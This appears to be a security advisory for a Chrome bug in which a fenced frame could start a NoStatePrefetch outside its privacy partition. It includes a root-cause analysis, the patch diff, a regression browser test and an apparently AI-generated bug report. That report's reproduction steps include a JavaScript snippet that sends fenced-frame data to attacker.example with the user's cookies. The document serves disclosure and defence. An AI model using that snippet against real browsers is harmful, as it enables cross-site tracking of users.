CVE-2026-79110
Overview
Background
- Fenced frame
- an embedded frame type with a strict privacy boundary, running in its own storage/network partition (identified by a fenced-frame nonce) and restricted from many normal frame capabilities.
- NoStatePrefetch
- a preloading mechanism (formerly “prerender”) that fetches a page’s resources without full rendering;
<link rel=prerender>can trigger it. - `BindNoStatePrefetchProcessor`
- the browser-process interface binder that wires a renderer’s
blink::mojom::NoStatePrefetchProcessorrequest toNoStatePrefetchProcessorImpl. - `IsNestedWithinFencedFrame()`
- a
RenderFrameHostpredicate the browser uses to detect that a frame is inside a fenced frame and to gate features accordingly.
Root Cause Analysis
BindNoStatePrefetchProcessor bound the NoStatePrefetchProcessor receiver for any requesting RenderFrameHost without checking whether that frame was nested within a fenced frame. Consequently a <link rel=prerender> inside a fenced frame reached the binder and started a NoStatePrefetch in a fresh top-level WebContents in the embedder profile, outside the fenced frame’s storage/network partition, violating the fenced-frame isolation invariant. Other preloading paths already opt fenced frames out (PrerendererImpl checks IsNestedWithinFencedFrame(); PrefetchURLLoaderService carries the fenced-frame nonce), so this binder was the missing gate.
The fix adds an early return when frame_host->IsNestedWithinFencedFrame() is true, silently dropping the receiver so no processor is created; the commit notes this is a silent early-return rather than ReportBadMessage() because the renderer-side PrerenderHandle has no fenced-frame gate of its own. The regression test confirms a fenced-frame <link rel=prerender> never issues a request for the target URL.
BindNoStatePrefetchProcessor, letting fenced-frame content trigger prefetch outside its partition; the fix adds an IsNestedWithinFencedFrame() early-return to drop the request.Attack Path
- Load content in a fenced frame An attacker gets script/markup running inside a fenced frame on a page.
- Insert `<link rel=prerender>`
The fenced-frame content adds a prerender link element pointing at an attacker-chosen
target_url(as in the regression test). - Reach the ungated binder
The request reaches
BindNoStatePrefetchProcessor, which pre-patch bound the receiver without a fenced-frame check. - Prefetch outside the partition
NoStatePrefetch runs in a fresh top-level
WebContentsin the embedder profile, outside the fenced frame’s storage/network partition, so the fetch escapes the frame’s isolation boundary (a cross-partition network request from fenced-frame content).
Impact Assessment
<link rel=prerender> within a fenced frame. The advisory classifies it as missing authorization in Preload; no exploited-in-the-wild status is stated, and the patch demonstrates only the boundary bypass (the prefetch escaping the partition), not further escalation.Files Changed
chrome/browser/chrome_browser_interface_binders.ccchrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
Audit Directions
- Interface binders lacking fenced-frame gatesAudit other
Bind*/Createinterface binders inchrome_browser_interface_binders.ccand content for features that should be denied to fenced frames but don’t checkIsNestedWithinFencedFrame(). - Inconsistent feature gating across preload pathsWhere one preloading/prefetch path checks the fenced-frame nonce or
IsNestedWithinFencedFrame(), verify sibling paths (prerender, prefetch, NoStatePrefetch) apply the same restriction. - Partition-escaping operationsLook for operations that spawn new top-level
WebContentsor issue network requests in the embedder profile on behalf of a subframe/fenced frame, and confirm they respect the requester’s storage/network partition.
Patch
From cbc0d6a414e2ab8f57afbea4a93fab98a6f783d3 Mon Sep 17 00:00:00 2001 From: Martin Verde <[email protected]> Date: Wed, 01 Jul 2026 18:13:09 -0700 Subject: [PATCH] Do not bind NoStatePrefetchProcessor for fenced frames <link rel=prerender> inside a fenced frame currently reaches BindNoStatePrefetchProcessor() and starts a NoStatePrefetch in a fresh top-level WebContents in the embedder profile, outside the fenced frame's storage / network partition. The other preloading paths already opt fenced frames out (PrerendererImpl checks IsNestedWithinFencedFrame(); PrefetchURLLoaderService carries the fenced-frame nonce); do the same here. Drop the receiver when the requesting RenderFrameHost is nested within a fenced frame. This is a silent early-return rather than ReportBadMessage() because the renderer-side PrerenderHandle has no fenced-frame gate of its own. Add NoStatePrefetchFencedFrameBrowserTest coverage that inserts <link rel=prerender> in a fenced frame and verifies the target URL is never requested. Bug: 503585863 Change-Id: Ib84d8ab0b18b439cdda1396bfb52cd9dbb9bcf89 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8018802 Reviewed-by: Sam McNally <[email protected]> Commit-Queue: Martin Pan-Verde <[email protected]> Reviewed-by: Hiroki Nakagawa <[email protected]> Cr-Commit-Position: refs/heads/main@{#1655849} --- diff --git a/chrome/browser/chrome_browser_interface_binders.cc b/chrome/browser/chrome_browser_interface_binders.cc index 14ee8fd..3720ed1ee 100644 --- a/chrome/browser/chrome_browser_interface_binders.cc +++ b/chrome/browser/chrome_browser_interface_binders.cc @@ -262,6 +262,10 @@ void BindNoStatePrefetchProcessor( content::RenderFrameHost* frame_host, mojo::PendingReceiver<blink::mojom::NoStatePrefetchProcessor> receiver) { + // NoStatePrefetch is not supported inside fenced frames. + if (frame_host->IsNestedWithinFencedFrame()) { + return; + } prerender::NoStatePrefetchProcessorImpl::Create( frame_host, std::move(receiver), std::make_unique< diff --git a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc index 6689902..e850512d 100644 --- a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc +++ b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc @@ -2006,4 +2006,43 @@ EXPECT_FALSE(recorded); } +// <link rel=prerender> inside a fenced frame must not trigger NoStatePrefetch. +IN_PROC_BROWSER_TEST_F(NoStatePrefetchFencedFrameBrowserTest, + LinkRelPrerenderInFencedFrame) { + const GURL initial_url = embedded_test_server()->GetURL("/empty.html"); + ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), initial_url)); + + const GURL fenced_frame_url = + embedded_test_server()->GetURL("/fenced_frames/title1.html"); + content::RenderFrameHost* fenced_frame_host = + fenced_frame_test_helper().CreateFencedFrame( + GetWebContents()->GetPrimaryMainFrame(), fenced_frame_url); + ASSERT_TRUE(fenced_frame_host); + + const GURL target_url = embedded_test_server()->GetURL(kPrefetchPage); + ASSERT_TRUE(content::ExecJs( + fenced_frame_host, + content::JsReplace("const l = document.createElement('link');" + "l.rel = 'prerender'; l.href = $1;" + "document.head.appendChild(l);", + target_url))); + + // Trigger and wait for NoStatePrefetch from the primary main frame for a + // different URL. By the time this prefetch finishes, any prefetch issued for + // `target_url` would have already reached the test server. + std::unique_ptr<TestPrerender> control_prerender = + no_state_prefetch_contents_factory()->ExpectNoStatePrefetchContents( + FINAL_STATUS_NOSTATE_PREFETCH_FINISHED); + const GURL control_url = embedded_test_server()->GetURL(kPrefetchPage2); + ASSERT_TRUE(content::ExecJs( + GetWebContents()->GetPrimaryMainFrame(), + content::JsReplace("const l = document.createElement('link');" + "l.rel = 'prerender'; l.href = $1;" + "document.head.appendChild(l);", + control_url))); + control_prerender->WaitForStop(); + + EXPECT_EQ(0u, GetRequestCount(target_url)); +} + } // namespace prerender
Regression Test / PoC
diff --git a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
index 6689902..e850512d 100644
--- a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
+++ b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
@@ -2006,4 +2006,43 @@
EXPECT_FALSE(recorded);
}
+// <link rel=prerender> inside a fenced frame must not trigger NoStatePrefetch.
+IN_PROC_BROWSER_TEST_F(NoStatePrefetchFencedFrameBrowserTest,
+ LinkRelPrerenderInFencedFrame) {
+ const GURL initial_url = embedded_test_server()->GetURL("/empty.html");
+ ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), initial_url));
+
+ const GURL fenced_frame_url =
+ embedded_test_server()->GetURL("/fenced_frames/title1.html");
+ content::RenderFrameHost* fenced_frame_host =
+ fenced_frame_test_helper().CreateFencedFrame(
+ GetWebContents()->GetPrimaryMainFrame(), fenced_frame_url);
+ ASSERT_TRUE(fenced_frame_host);
+
+ const GURL target_url = embedded_test_server()->GetURL(kPrefetchPage);
+ ASSERT_TRUE(content::ExecJs(
+ fenced_frame_host,
+ content::JsReplace("const l = document.createElement('link');"
+ "l.rel = 'prerender'; l.href = $1;"
+ "document.head.appendChild(l);",
+ target_url)));
+
+ // Trigger and wait for NoStatePrefetch from the primary main frame for a
+ // different URL. By the time this prefetch finishes, any prefetch issued for
+ // `target_url` would have already reached the test server.
+ std::unique_ptr<TestPrerender> control_prerender =
+ no_state_prefetch_contents_factory()->ExpectNoStatePrefetchContents(
+ FINAL_STATUS_NOSTATE_PREFETCH_FINISHED);
+ const GURL control_url = embedded_test_server()->GetURL(kPrefetchPage2);
+ ASSERT_TRUE(content::ExecJs(
+ GetWebContents()->GetPrimaryMainFrame(),
+ content::JsReplace("const l = document.createElement('link');"
+ "l.rel = 'prerender'; l.href = $1;"
+ "document.head.appendChild(l);",
+ control_url)));
+ control_prerender->WaitForStop();
+
+ EXPECT_EQ(0u, GetRequestCount(target_url));
+}
+
} // namespace prerender
Original Bug Report
Fenced Frame Partition Bypass via No-State Prefetch
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see go/chrome-ai-generated-security-bugs-faq for more information.
Overview: A logic flaw allows a Fenced Frame to initiate an unpartitioned No-State Prefetch using a <link rel="prerender"> tag. The legacy prefetch path omits Fenced Frame boundary checks, causing the browser to send unpartitioned first-party cookies to an attacker-controlled URL. This completely bypasses the Fenced Frame privacy model.
Affected files:
chrome/browser/chrome_browser_interface_binders.cccomponents/no_state_prefetch/browser/no_state_prefetch_processor_impl.cccomponents/no_state_prefetch/browser/no_state_prefetch_link_manager.cccomponents/no_state_prefetch/browser/no_state_prefetch_manager.cccomponents/no_state_prefetch/browser/no_state_prefetch_contents.cc
Estimated timestamp from git blame: 2025-07-17
Final Conclusion & Suggested Fix
To resolve this potential privacy boundary bypass, chrome/browser/chrome_browser_interface_binders.cc (in BindNoStatePrefetchProcessor) or NoStatePrefetchProcessorImpl::Create must explicitly reject requests from Fenced Frames by checking render_frame_host->IsNestedWithinFencedFrame(). Alternatively, NoStatePrefetchLinkManager::OnStartLinkTrigger should block Fenced Frames alongside its existing blocks for <webview> guests.
Vulnerability Mechanics
The legacy No-State Prefetch implementation (<link rel="prerender">) fails to enforce Fenced Frame isolation boundaries.
The Setup (Context Validation):
When an attacker running JavaScript inside a Fenced Frame dynamically injects a <link rel="prerender" href="..."> element, Blink’s LinkLoader initiates the prefetch request. The browser process binds the mojom::blink::NoStatePrefetchProcessor interface via BindNoStatePrefetchProcessor. While modern Speculation Rules (PrerendererImpl) and other sensitive Mojo binders explicitly check IsNestedWithinFencedFrame() to block access, this legacy path omits the check entirely. Furthermore, NoStatePrefetchLinkManager explicitly checks for and blocks <webview> guests but misses Fenced Frames.
The Leap (Unpartitioned Execution):
Due to the missing boundary checks, the request reaches NoStatePrefetchContents::StartPrerendering. Here, the browser instantiates a completely new, hidden, top-level WebContents to handle the prefetch. Because this new tab operates outside the Fenced Frame’s IsolationInfo and lacks its partition nonce, the ensuing network request to the attacker’s URL automatically attaches the user’s unpartitioned first-party cookies. The attacker correlates isolated Fenced Frame data (passed via URL parameters) with the user’s unpartitioned identity (passed via cookies).
Suggested Reproduction Steps
(Note: These are suggested steps; our tooling agent does not have the ability to run code to provide a working PoC.)
- Navigate a standard Chrome profile to a site that embeds an attacker-controlled Fenced Frame (e.g., via the Protected Audience API).
- Inside the Fenced Frame, execute JavaScript to append a prefetch link:
let l = document.createElement('link'); l.rel = 'prerender'; l.href = 'https://attacker.example/log?secret=isolated_fenced_frame_data'; document.head.appendChild(l); - Observe the network traffic. The browser process will dispatch a top-level GET request to
attacker.examplethat includes the user’s unpartitioned first-party cookies, allowing a cross-partition identity join.
Evaluated with Chrome root at commit: 661452647ddb2827305122ff3273bd5dea403f09
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.